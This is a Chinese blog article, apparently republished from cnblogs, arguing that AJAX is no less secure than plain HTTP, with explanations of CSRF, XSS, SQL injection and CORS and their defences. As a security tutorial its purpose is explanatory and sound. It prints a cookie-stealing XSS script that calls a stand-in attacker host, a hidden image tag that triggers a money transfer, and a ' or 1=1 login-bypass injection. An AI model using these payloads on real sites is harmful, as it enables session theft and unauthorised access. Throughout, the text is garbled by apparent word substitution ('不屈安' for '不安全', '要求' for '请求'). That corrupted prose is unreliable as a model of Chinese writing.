来源： cnblogs.com/dailc/p/8191150.html
开篇三问
AJAX要求真的不屈安么？AJAX要求哪里不屈安？怎么样让AJAX要求更安全？序言
本文包含的内容较多，包括AJAX，CORS，XSS，CSRF等内容，要完全的看完并理解须要付出一定的韶光。
其余，见地有限，如有描述不当之处，请帮忙及时指出。
正文开始...
从入坑前端开始，一贯到现在，AJAX要求都因此极高的频率重复涌现，也办理过不少AJAX中碰着的问题，如跨域调试，缺点调试等等。
从这种，创造了一个共通征象：那便是每次和后台职员对接时，他们都会提到AJAX要求不屈安，请用普通http要求！
虽然很多时候，都是经由多翻口舌之争后，终极后台那边妥协，许可部分符合条件的AJAX要求。但是，我却很纠结一个问题：AJAX要求真的不屈安么？为什么我自己写后台时并没有创造这个问题？
于是，开始准备搜集资料，结合自己已有的认知，整理成一份办理方案，剖析AJAX要求真的不屈安么？哪里不屈安？，后续碰着类似的问题就直接向对方抛出一篇文章
大纲
AJAX要求真的不屈安么AJAX不屈安的说法从何而来常见的几种Web前端安全问题CSRF简介CSRF与AJAX的关系XSS简介XSS与AJAX的关系SQL注入简介SQL注入与AJAX的关系AJAX和HTTP要求的差异CORS与AJAX安全性之间的关联CORS与AJAX关系的简介为什么要配置CORS？CORS会配置些什么信息？CORS Origin: 的安全性再看，AJAX要求真的不屈安么？AJAX要求哪里不屈安？怎么样让AJAX要求更安全？AJAX要求真的不屈安么
首先，先说一个定论：AJAX要求是否安全，由做事端（后台）决定
有这样一个说法：如果某个Web运器具备良好的安全性，那么再怎么用“不屈安的AJAX”也削弱不了它的安全性，反之如果运用本身存在漏洞，不管用何种技能要求，它都是不屈安的
为何会有这种说法？由于在Web运用中，客户端输入不可信是一个基本原则
AJAX不屈安的说法从何而来？
在AJAX涌现时，那时的做事端还是很古老的那一批，因此完备没有考虑到AJAX涌现后，前端要求办法会变得非常繁芜，造成以前的安全策略已经无法知足哀求了，导致大批的后台安全漏洞曝光。。。
很显然，都是由于AJAX涌现后曝光了更多的安全漏洞，导致它看起来很危险（由于AJAX涌现后，要求办法变多了，以前的架构在新的要求中就可能涌现更多漏洞）
So，AJAX不屈安的说法自然扩散到了各个角落。
常见的几种Web前端安全问题
要知道AJAX要求是否安全，那么就得先知道Web前端中到底有那几种安全问题
采取cookie来进行用户校验登录受信赖网站A，并在本地天生Cookie在不登出A的情形下，访问危险网站B
如上，Web前端中的安全问题紧张便是这几大类（仅列举部分做剖析），以是我们首先要剖析AJAX与这几大类之间的关系。（ XSS 和 CSRF，不才文也会做大略先容。）
CSRF简介
CSRF，特色很大略：冒用用户身份，进行恶意操作
时至今日，这项安全漏洞已经被人们阐发的很透彻了，随便Google，百度之，都会找到很多的阐明。这里也用一张图来先做大略描述：
（注，下面先容参考了来源文章中的描述，譬如图便是参考了来源中的博文后重绘的）
以是，我们看到关键条件是：
采取cookie来进行用户校验登录受信赖网站A，并在本地天生Cookie在不登出A的情形下，访问危险网站B
一样平常在 (4) 处 恶意网站(B) 的攻击手段如下（必须是指向 A 的地址，否则无法带上cookie）：
而且，从头到尾，攻击网站都没有获取到过 cookie，都是通过浏览器间接实现（利用Web的cookie隐式身份验证机制），以是HttpOnly并不会影响这个攻击
末了说下，几种常见的CSRF防御手段：
1. 验证HTTP Referer字段（非常大略，但是鉴于客户端并不可信赖，以是并不是很安全）
防止CSRF，检讨Referer字段大略直接，但是其完备依赖浏览器发送精确的Referer字段。
虽然http协议对此字段的内容有明确的规定，但并无法担保来访的浏览器的详细实现，
亦无法担保浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器，修改其Referer字段的可能。
2. 在要求地址中添加token并验证
（譬如post中，以参数的形式加入一个随机产生的token）
CSRF与AJAX的关系
上文中，我们看到CSRF的条件是cookie验证用户身份，那么它与AJAX的关系大么？
我们先剖析AJAX中带cookie验证的情形：
1. AJAX受到浏览器的同源策略限定
2. AJAX默认无法要求跨域的接口
（当然后台可以配置`Access-Control-Allow-Origin: `之类的许可所有的跨域要求）
3. AJAX要求无法携带跨域cookie
（如果强行开启withCredentials，必须做事端合营认证，无法用作攻击）
嗯哼...看到这，基本就可以认为CSRF与AJAX要求无缘了。。。
譬如假设上图中第4部分的要求由AJAX发起，假设网站A已经许可了Access-Control-Allow-Origin: ，由于网站B与网站A是不同域名，以是存在跨域，根据同源策略，要求时根本就无法携带cookie，故而无法通过身份认证，攻击失落败。。。
就算强行开启withCredentials，携带跨域cookie，但是由于做事端并不会单独配置网站B的跨域cookie（需配置Access-Control-Allow-Credentials: true，而且这时候不许可设置Allow-Origin: ），以是肯定认证失落败
可以看到，就算Access-Control-Allow-Origin: 许可所有来源的AJAX要求，跨域的cookie默认情形下仍旧是无法携带的，无法CSRF
以是说，结论是：CSRF 与 AJAX 无关
XSS简介
既然CSRF与AJAX关系不大，那么XSS该当会与AJAX有很大关系吧？（要不然为什么一贯说AJAX要求不屈安，对吧。）。那么请连续看下去（本文中只限JS范畴）
XSS（cross-site scripting），看起来简写该当是css更得当。。。但是为了和层叠模样形状式表区分，就用XSS简写表示
XSS的特色也可以概括为：跨域脚本注入，攻击者通过某种办法将恶意代码注入到网页上，然后其他用户不雅观看到被注入的页面内容后会受到特定攻击
比较CSRF，XSS席卷的内容更多，而且每每是多种攻击形式组合而成，这里以前文中先容的几种为例：
1. cookie挟制
同样，页面中有一个评论输入，输入后会，由于后台的漏洞，没有过滤分外字符，会直接明文保存到数据库中，然后展示到网页时直接展示明文数据，那么如下
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><form action="saveComment.jsp" method="post"> 请输入评论内容：<BR> <input name="content" type="text"> <input type="submit" value="确认"></form>
然落后击者剖析后，输入
<script>window.open("http://www.attackpage.com/record?secret=" + document.cookie)</script>
保存文章。很大略的代码，由于没有过滤脚本，那么其它用户上岸后，在看到这篇文章时就会自动将他们的cookie信息都发送到了攻击者的做事器。
攻击者可以在cookie（譬如jsessionid对应的session）有效期内拿它们伪装用户操作。
须要把稳，这里和CSRF的差异是，这里是拿到了cookie后主动伪装用户的，而CSRF中根本就不知cookie，仅利用浏览器的隐式校验办法伪装用户。
2. 会话假造
同样是评论漏洞的示例。
攻击者输入（举例比喻）
<img src=http://www.bank.example/transfer?toBankId=hello&amount=1000000 width='0' height='0'>
然后，接下来发生的故事就和CSRF中提到的同等。这种情形便是基于XSS而开展的CSRF，也有人喜好称之为XSRF
须要把稳，这里并没有自己拿到cookie，而是CSRF中提到的利用浏览器的隐式验证机制来伪装用户。
3. 其它恶意代码实行
实在上面的cookie挟制以及会话假造都算是恶意代码实行，为了差异，这里就专指前真个泼皮JS。
譬如前面的评论中的输入可以是：
譬如市情优势行的网页游戏弹窗等。譬如干脆直接让这个页面卡去世都可以。譬如无限循环。这里再提一点，上述都是从前端输入作为入口的，但实际上有一类的输入也不可忽略，那便是：富文本攻击
它的特点便是： 富文本中注入了脚本，并且前后端未进行过滤，导致直接输出到了页面中
由于存在很多页面，都是将富文本内容展示到网页上的，没有进行过滤（哪怕时至今日，仍旧有不少页面），这样只要富文本中有注入脚本，基本就中招了。。。
结论：
只要终极能向页面输出可实行的脚本语句，那么便是有漏洞，XSS攻击都有可能发生。
而且，基本上xss漏洞是很广泛的，虽然攻击类型很被动，也须要大量韶光剖析，但胜在大量的网站上都存在（特殊是那种长期不更新的）
再提一点。上述的先容更多的是从造成的后果来看，但实在如果从攻击手动来看的话可以分为几大类型：反射型XSS攻击（直接通过URL注入，而且很多浏览器都自带防御），存储型XSS攻击（存储到DB后读取时注入），还有一个DOM-Based型。
上述示例中都是存储型，详细更多内容网上已经有很详细的资料，这里不再连续深入，放一张图巩固下。
如何预防XSS：
输入过滤，不信赖用户的任何输入，过滤个中的“<”、“>”、“/”等可能导致脚本注入的分外字符，或者过滤“script”、“javascript”等脚本关键字，或者对输入数据的长度进行限定等等，还得考虑攻击者利用十六进制编码来输入脚本的办法。输出进行编码，和输入过滤类似，不过是从输出上动手，数据输出到页面时，经由HtmlEncoder等工具编码，这样就不会存在直接输出可实行的脚本了cookie设置http-only，这样用脚本就无法获取cookie了（这样只有浏览器向Web做事器发起要求的时才会带上cookie字段，避免了XSS攻击利用JavaScript的document.cookie获取cookie）Cookie防盗，尽可能地避免在Cookie中透露隐私，如用户名、密码等；或者，为了防止重放攻击，可以将Cookie和IP进行绑定，这样也可以阻挡攻击者伪装正常用户的身份。把稳，特殊是后台，一定不能信赖前真个输入，须要过滤与校验XSS与AJAX的关系
以上剖析了XSS造成一些影响与问题，仍旧创造：与AJAX关系不大，由于这些问题不管用不用AJAX都会发生。
看看这种情形，譬如上述的富文本注入中：
1. 某个接口采取AJAX交互
2. AJAX要求完后将对应富文本字段显示到了页面上-譬如innerHTML
但是，这真的与AJAX无关，这是前后端没有进行输入输出过滤而造成的后果。
以是，还是那句话：如果某个Web运器具备良好的安全性，那么再怎么用“不屈安的AJAX”也削弱不了它的安全性，反之如果运用本身存在漏洞，不管用何种技能要求，它都是不屈安的
SQL注入简介
sql注入展开将也是一门很大的学问，很早以前更是大行其道（当然，现在...），这里仅仅举几个最极度的示例。
条件是后台没有过滤前真个输入数据，否则根本无法生效
假设页面A中有一个上岸查询存在拙劣的sql注入漏洞，这样子的：（最极度，最傻的情形）
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><form action="login.jsp" method="post"> 请输入用户名与密码：<BR> <input name="name" type="text"> <input name="password" type="text"> <input type="submit" value="上岸"></form>
在吸收到上岸要求后，做事真个实际实行代码时是：
String sql = "SELECT FROM users WHERE name = '" + name + "' AND password = '" + password + "'";
然而有攻击者剖析出后台可能存在漏洞，考试测验sql注入攻击，输入
name = ' or 1=1password = anything那么这样，后台吸收到数据后，实际上查询的结果是SELECT FROM users WHERE name = ' ' or 1=1 AND password = 'anything' 故而，攻击者成功的绕过的用户名，利用后台漏洞上岸了。
当然了，像这类这么低级的漏洞，征象险些已经不存在了，每每这类型漏洞须要仔细剖析，耗时。（又或者是有内奸。。。）
SQL注入与AJAX的关系
额，从上述的示例中看不出和AJAX有什么关系。但是我们可以这样假设：
1. 有一个接口，吸收AJAX post的数据
2. 数据中有一个字段 'name'，后台吸收到后没有进行过滤，直接如上面的演示一样，实行sql语句了
3. 以是AJAX中如果给那个字段传入造孽的注入信息，就会触发这个漏洞，导致攻击生效
对，便是这样极度的情形下才会发生，而且与AJAX并没有关系，由于换成任何一种其它要求都会有类似的情形。。。
以是说，结论是：SQL注入与AJAX无关
AJAX和HTTP要求的差异
从实质年夜将：AJAX便是浏览器发出的HTTP要求，只不过是浏览器加上了一个同源策略限定而已。
AJAX要求的XMLHTTPRequest工具便是浏览器开放给JS调用HTTP要求用的。
那么AJAX和HTTP的差异呢？列出以下几点：
AJAX要求受到浏览器的同源策略限定，存在跨域问题AJAX在进行繁芜要求时，浏览器会预先发出OPTIONS预检（HTTP自己是不会预检的）从利用角度上说，AJAX利用大略一点，少了些底层细节，多了些浏览器特性（如自动带上同域cookie等）以是说，和认证上的HTTP要求的差异便是-多了一次浏览器的封装而已（浏览器会有自己的预处理，加上特定限定）但是，从终极发出的报文来看，内容都是一样的（HTTP协议规范的内容），AJAX是发送HTTP要求的一种办法
以是从这一点可以得出一个结论：AJAX实质上安全性和HTTP要求一样
CORS与AJAX安全性之间的关联
按照前文中提到的内容，基本无法得出AJAX与要求不屈安的关联。那么接下来，再连续剖析，如果利用了跨域资源共享（CORS）后的安全性。
(由于每每ajax都会伴随着CORS)
CORS与AJAX关系的简介
这是一个跨域共享方案，大致流程便是：（仅以繁芜要求的预检举例-这一部分哀求提前节制CORS干系知识）
1. 前端AJAX要求前发出一个OPTIONS预检，会带一堆干系头部发送给做事端
2. 做事端在接管到预检时，检讨头部，来源等信息是否合法，合法则接下来许可正常的要求，否则直接无情的谢绝掉
3. 浏览器端如果收到做事端谢绝的信息（相应头部检讨），就抛出对应缺点。否则便是正常的相应，接下来发出真正的要求（如POST）
要乞降相应的头部信息大概如下：
Request Headers
// 在CORS中专门作为Origin信息供后端比对，表示来源域。Origin: http://xxxAccess-Control-Request-Headers: X-Requested-With// 所有用setRequestHeader方法设置的头部都将会以逗号隔开的形式包含在这个头中，一样平常POST要求中就会带上Access-Control-Request-Method: OPTIONS
Response Headers
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, AcceptAccess-Control-Allow-Methods: GET, POST, OPTIONSAccess-Control-Allow-Origin: http://xxx
终极，客户端发出的要求，必须符合做事真个校验规则才能精确，做事端才会返回精确头部，否则只会要求失落败。报跨域缺点。
以上仅是简介，更多信息可以参考来源中的ajax跨域，这该当是最全的办理方案了
为什么要配置CORS？
由于同源策略限定，AJAX无法要求跨域资源，CORS可以办理AJAX跨域要求问题。
因此：在本文中，配置CORS只是为了AJAX能跨域要求
CORS会配置些什么信息？
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, AcceptAccess-Control-Allow-Methods: GET, POST, OPTIONSAccess-Control-Allow-Origin: http://xxx
如上，加上这个配置后，必须符合哀求的才算是正常的要求，否则就会谢绝掉，一样平常AJAX跨域的话都会有OPTIONS，以是在预检中就做了这一步。
可以看到，关键的可变信息是：Access-Control-Allow-Origin: http://xxx
这个配置便是域名白名单，规定在什么样的域名下才能进行AJAX跨域要求。
CORS Origin: 的安全性
关键问题来了，在上面的CORS配置是这样的：
Access-Control-Allow-Origin: http://xxx
但是这个配置只许可特定域名访问，鉴于前真个繁芜性，有时候调试起来不是很方便，因此有时候，会偷
Access-Control-Allow-Origin:
这个代表所有来源的跨域AJAX要求都能正常相应。
接下来我们再来剖析设置 Origin: 可能带来哪些问题。（都是基于AJAX的情形）
问题1：会对cookie认证造成影响么？
不会。虽然 代表了所有来源都能正常要求，但是同源策略下，是无法带上跨域cookie的。因此根本无法用身份验证。
而且，就算用 withCredentials 强行带上跨域cookie，由于后台没有支持，以是会报错。（这可以算作是CORSs模型的末了一道防线）
再者，后台就算配置 Access-Control-Allow-Credentials 许可跨域cookie，但是这时候的安全策略是 Origin 不许可为，必须是一个明确的地址。
（否则你就可以看到浏览器的报错信息-跨域cookie时，Origin不许可为）
问题2：如果假造Origin头部呢？
首先，标准的浏览器中是不许可你假造的（除非有严重漏洞），以是一样平常须要通过仿照客户端要求假造。
但是。在非浏览器情形下，本来就没有同源策略。这又是何必。。。
以是说，假造Origin与CORS并没有关系。
问题3：如果后台本来就存在漏洞呢？
做这样一个假设，假设用户所在网络的内网中有一台内网做事器，并且配置了许可所有的跨域要求：（当然，外网是要求不到内网的）
// 许可任何来自任意域的跨域要求Access-Control-Allow-Origin:
再假设内网做事器上适值存在敏感资源，并且没有额外设防，只要内网就能访问。譬如：
192.168.111.23/users.md
然后用户访问了恶意网页，而像HTML之类的网页都是下载到本地实行的，
恰好网页内有恶意代码，去向 192.168.111.23/users.md 要求资源，再将吸收到的做事端返回发送到攻击者做事器。
（由于加了Origin为，而且AJAX是由本地浏览器发出的，以是用户下载到本地的恶意网站是可以访问到用户内网中的后台的）
然后这些敏感数据就这样被盗取了。
But，这是由于做事端漏洞而存在的问题，设置Origin为的后台上为何要放置敏感资源？正常设置为Origin为的最大浸染是用作公共API。
而且更主要的是，为何敏感资源就这样轻易的被获取了？为什么没有二次验证？
SO，后台本身有漏洞，以是才导致被攻击，AJAX恰好是攻击的手段之一（除了AJAX外还会有其它的办法），以是很多锅都甩到了AJAX头上。
这样，可以得出一个守旧点的结论：
Origin如果不是，AJAX要求并不会有安全问题，如果是，可能会由于后台的漏洞，不经意间，AJAX就被作为一种攻击手段了，导致了涌现AJAX不屈安的说法
再看，AJAX要求真的不屈安么？
仍旧是最初的结论：
如果某个Web运器具备良好的安全性，那么再怎么用“不屈安的AJAX”也削弱不了它的安全性，反之如果运用本身存在漏洞，不管用何种技能要求，它都是不屈安的
我们可以看到，XSS也好，CSRF也好，以及其它隐蔽的可能漏洞也好，实质上都是后台已有漏洞造成的问题，AJAX最多是被用作一种攻击手段（乃至某些里面AJAX还无法利用）
提到AJAX要求不屈安的，譬如有CORS里面配置Origin: 造成某些极度情形下能通过AJAX发出攻击。但事实上这也是个中的一种攻击手段而已，没有AJAX，该不屈安的仍旧不屈安。
譬如还有的说法是：由于在AJAX涌现以前，如果涌现安全漏洞，随意马虎被察觉，但AJAX是异步的，更随意马虎隐式的涌现安全问题。。。这也与安全性的实质无关。
最主要一点，从Web运用安全角度来谈，Web运用必须从不信赖客户端。以是不要再把锅甩给AJAX。
AJAX要求哪里不屈安？
同上，AJAX本身并不存在这种安全问题。
不过有一点需把稳，如果利用了CORS方案。
1. Allow-Origin可以设置特定的值，过滤特定的白名单
2. 对付一些公共的API，可以直接将Allow-Origin设置为``
3. 当然，如果确认后台没有这些隐蔽漏洞，可以直策应用``，毕竟也只是针对浏览器的同源策略而已，影响没有那么大。
怎么样让AJAX要求更安全？
仍旧是文中反复提到的结论：
让Web后台更安全，则AJAX要求也更安全，反之后台有漏洞，不管怎么样都是不屈安的
写在末了的话
这样的话，该当可以把AJAX不屈安的锅甩掉了吧？
